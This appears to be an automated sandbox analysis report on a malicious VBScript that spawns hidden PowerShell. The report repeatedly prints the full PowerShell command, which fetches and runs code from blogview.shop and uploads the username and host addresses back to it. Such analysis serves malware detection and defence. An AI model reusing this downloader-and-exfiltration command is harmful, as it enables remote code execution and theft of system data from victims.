Source: powershell.exe, 00000002.00000002.2815705990.0000025CA1E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA1C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA1E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA1C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA333C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2815705990.0000025CA3266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA3557000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/
Source: powershell.exe, 00000002.00000002.2815282835.0000025CA0250000.00000004.00000020.00020000.00000000.sdmp, sAKF0egIZ5.vbs	String found in binary or memory: https://blogview.shop/api/values/38303529143438199171/refresh199/
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA3266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/38303529143438199171/refresh199/9076518342.txt
Source: powershell.exe, 00000002.00000002.2815282835.0000025CA0250000.00000004.00000020.00020000.00000000.sdmp, sAKF0egIZ5.vbs	String found in binary or memory: https://blogview.shop/api/values/refresh199
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA1E9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2815705990.0000025CA289D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.2829876539.0000025CB1CDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2829876539.0000025CB1E1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD343C70AA	2_2_00007FFD343C70AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD343C2733	2_2_00007FFD343C2733
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD343C20E8	2_2_00007FFD343C20E8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD343C6311	2_2_00007FFD343C6311
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD343C5BFA	2_2_00007FFD343C5BFA

Source: sAKF0egIZ5.vbs

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winVBS@4/4@1/0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6764:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ce5czcm.1zx.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: sAKF0egIZ5.vbs

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: e.pdb source: powershell.exe, 00000002.00000002.2833532776.0000025CBA150000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2835267419.0000025CBA4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb09% source: powershell.exe, 00000002.00000002.2833532776.0000025CBA1A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000002.00000002.2833532776.0000025CBA205000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdbpz source: powershell.exe, 00000002.00000002.2833532776.0000025CBA205000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb xm source: powershell.exe, 00000002.00000002.2833532776.0000025CBA205000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb7 source: powershell.exe, 00000002.00000002.2833532776.0000025CBA1A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdbb source: powershell.exe, 00000002.00000002.2833532776.0000025CBA1A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000002.00000002.2833532776.0000025CBA1A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000002.00000002.2835267419.0000025CBA4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000002.00000002.2835267419.0000025CBA4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl])O source: powershell.exe, 00000002.00000002.2833532776.0000025CBA205000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell.exe -executionpolicy bypass -w hidden -noprofile -c start-sleep", "0", "false");

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD343C0974 push E95AD5D0h; ret	2_2_00007FFD343C09C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD343C1433 pushad ; retf	2_2_00007FFD343C144A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD3449163B push eax; retf	2_2_00007FFD34491981
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34495AB5 push eax; retf	2_2_00007FFD34495AB9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344914B8 push eax; retf	2_2_00007FFD344914B9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344930B8 push eax; retf	2_2_00007FFD344930B9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344944A5 push eax; retf	2_2_00007FFD344944B1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD3449109D push eax; retf	2_2_00007FFD344910E1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34493CCD push eax; retf	2_2_00007FFD34493D81
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344908C5 push eax; retf	2_2_00007FFD34490901
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344906BD push eax; retf	2_2_00007FFD344906F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD3449606A push eax; retf	2_2_00007FFD34496089
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34490060 push eax; retf	2_2_00007FFD34490061
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34493290 push eax; retf	2_2_00007FFD34493291
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34497288 push eax; retf	2_2_00007FFD34497289
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34497724 push eax; retf	2_2_00007FFD34497729
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34497554 push eax; retf	2_2_00007FFD34497559
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34495745 push eax; retf	2_2_00007FFD34495759
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34491948 push eax; retf	2_2_00007FFD34491981
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344928F8 push eax; retf	2_2_00007FFD344928F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34494EFB push eax; retf	2_2_00007FFD34495081
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD344962F0 push eax; retf	2_2_00007FFD344962F1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34496AF0 push eax; retf	2_2_00007FFD34496AF1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34490EE1 push eax; retf	2_2_00007FFD34490F21
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34490EE1 push eax; retf	2_2_00007FFD34491001
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34490B15 push eax; retf	2_2_00007FFD34490B51
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34496515 push eax; retf	2_2_00007FFD34496559
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34493D16 push eax; retf	2_2_00007FFD34493D81
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34490118 push eax; retf	2_2_00007FFD34490119
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34490310 push eax; retf	2_2_00007FFD34490319
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34493910 push eax; retf	2_2_00007FFD34493911

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
